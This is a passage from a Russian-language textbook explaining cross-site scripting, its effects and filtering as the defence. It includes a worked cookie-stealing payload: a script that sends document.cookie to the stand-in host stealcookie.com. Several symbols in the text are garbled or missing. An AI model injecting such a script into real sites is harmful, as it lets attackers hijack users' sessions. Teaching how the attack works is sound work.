Другой вид распространённых программных уязвимостей состоит в некорректной обработке данных, введённых пользователем. Типичные примеры: отсутствующее или неправильное экранирование специальных символов и полей (спецсимволы и HTML, кавычки, слэши /,
Межсайтовый скриптинг (англ. Cross-Site Scripting, XSS) заключается во внедрении в веб-страницу злоумышленником $A$ исполняемого текстового скрипта, который будет исполнен браузером клиента $B$. Скрипт может быть написан на языках JavaScript, VBScript, ActiveX, HTML, Flash. Целью атаки является, как правило, доступ к информации клиента.
Скрипт может получить доступ к cookie-файлам данного сайта, например с аутентификатором, вставить гиперссылки на свой сайт под видом доверенных ссылок. Вставленные гиперссылки могут содержать информацию пользователя.
Скрипт также может выполнить последовательность HTTP GET- и POST-запросов на веб-сайт для выполнения действий от имени пользователя. Например вирусно распространить вредоносный JavaScript код со страницы одного пользователя на страницы всех друзей, друзей друзей и т. д., а затем удалить все данные пользователя. Атака может привести к уничтожению социальной сети.
Приведём пример кражи cookie-файла веб-сайта, который имеет уязвимость на вставку текста, содержащего исполняемый браузером код.
Пусть аутентификатор пользователя в cookie-строке от сайта myemail.com содержит следующие данные:
auth=AJHVML43LDSL42SC6DF;
Пусть текстовое сообщение, размещённое пользователем, содержит скрипт, помещающий на странице «изображение», расположенное по некоему адресу
<script> new Image().src = "http://stealcookie.com?c=" + encodeURI(document.cookie); </script>
Тогда браузеры всех пользователей, которым показывается сообщение, при загрузке страницы отправят HTTP GET-запрос на получение файла «изображения» по адресу
http://stealcookie.com?auth=AJHVML43LDSL42SC6DF;
В результате злоумышленник получит cookie, используя который он сможет заходить на веб-сайт под видом пользователя.
Вставка гиперссылок является наиболее частой XSS-атакой. Иногда ссылки кодируются шестнадцатеричными числами вида NN, чтобы не вызывать сомнения у пользователя текстом ссылки.
На 2009 г. 80 обнаруженных уязвимостей веб-сайтов являются XSS-уязвимостями.
Стандартный способ защиты от XSS-атак заключается в фильтрации, замене, экранировании символов и слов введённого пользователем текста: , , /,